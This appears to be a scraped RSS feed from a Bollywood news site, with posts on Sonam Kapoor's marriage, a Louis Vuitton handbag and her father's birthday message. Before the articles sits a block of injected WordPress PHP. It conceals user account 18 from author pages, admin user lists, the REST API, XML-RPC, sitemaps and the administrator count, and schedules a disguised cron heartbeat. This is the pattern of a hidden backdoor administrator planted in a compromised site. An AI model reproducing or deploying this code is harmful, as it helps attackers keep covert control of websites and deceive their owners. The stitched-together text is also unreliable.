add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sonam thanks her stars that she didn’t end up marrying someone from Bollywood appeared first on The Edge Media.
]]>Sonam Kapoor and Anand Ahuja tied the knot in 2018. She said that like her, Anand is a feminist, and that people in the film industry can have a very myopic view of the world.
“I’m really fortunate to have met somebody who is like-minded and a feminist,” she told Vogue. “Thank god I didn’t meet somebody who is from the same industry as me, because their world view can be very limited. It’s all about what’s happening in Bollywood.” Asked if anything has surprised her, she said, “This is the first year that we’ve spent every night together. Usually, we travel so much. I’ve realised that we’re obsessed with each other and we have a lot of fun together.
Sonam said that living in London gives her an element of anonymity — she does her own shopping, for instance — but acknowledged that brown people ‘are everywhere’. She said, “I was in Scotland and there were Indians, Pakistanis, Bangladeshis and Middle Eastern people everywhere, and they’re all obsessed with Bollywood.”
Sonam was last seen in a starring role in 2019’s The Zoya Factor. She appeared in a cameo in AK vs AK, in which she played a version of herself, alongside her father Anil Kapoor and filmmaker Anurag Kashyap. She will next be seen in Blind, a remake of a South Korean thriller co-produced by Sujoy Ghosh, which she shot in Scotland.
The post Sonam thanks her stars that she didn’t end up marrying someone from Bollywood appeared first on The Edge Media.
]]>The post Sonam Kapoor Catches Attention With Her New Louis Vuitton Look appeared first on The Edge Media.
]]>Besides the beautiful looks of Sonam, however, what we are looking forward to is her Rs 4 lakh handbag. The bag is available at $5,350.00 on the official Louis Vitton web store.
Her all-black appearance is great, but her purse is the light of day.
The post Sonam Kapoor Catches Attention With Her New Louis Vuitton Look appeared first on The Edge Media.
]]>The post Anil Kapoor took a trip down memory lane on Sonam’s birthday appeared first on The Edge Media.
]]>Anil Kapoor’s message to Sonam will indeed make you go aww: “To the girl who chases her dreams and follows her heart… Sonam, watching you grow everyday has been a dream come true as a parent. I surely got lucky with the best kids. You’re strong when you need to be, kind without fail and always evolving. You have a way of infusing a bit of you in everything and it’s one of my favourite things about you,” he wrote.
In his post, Anil Kapoor wrote that he missed them very much: “I’m so thankful that you and Anand are safe and healthy and we can’t wait to be with you again… Happy Birthday Sonam Beta! Love you and miss you!”

Sonam responded in the comments section: “Love you so, so much daddy. Miss you more than anything else.”
Anand also posted a few pictures with Sonam on her birthday and captioned them as, “I know how much you love wallpapers – well you’re the only wallpaper I need! Happy Birthday my forever wallpaper @sonamkapoor #EverydayPhenomenal.”

The post Anil Kapoor took a trip down memory lane on Sonam’s birthday appeared first on The Edge Media.
]]>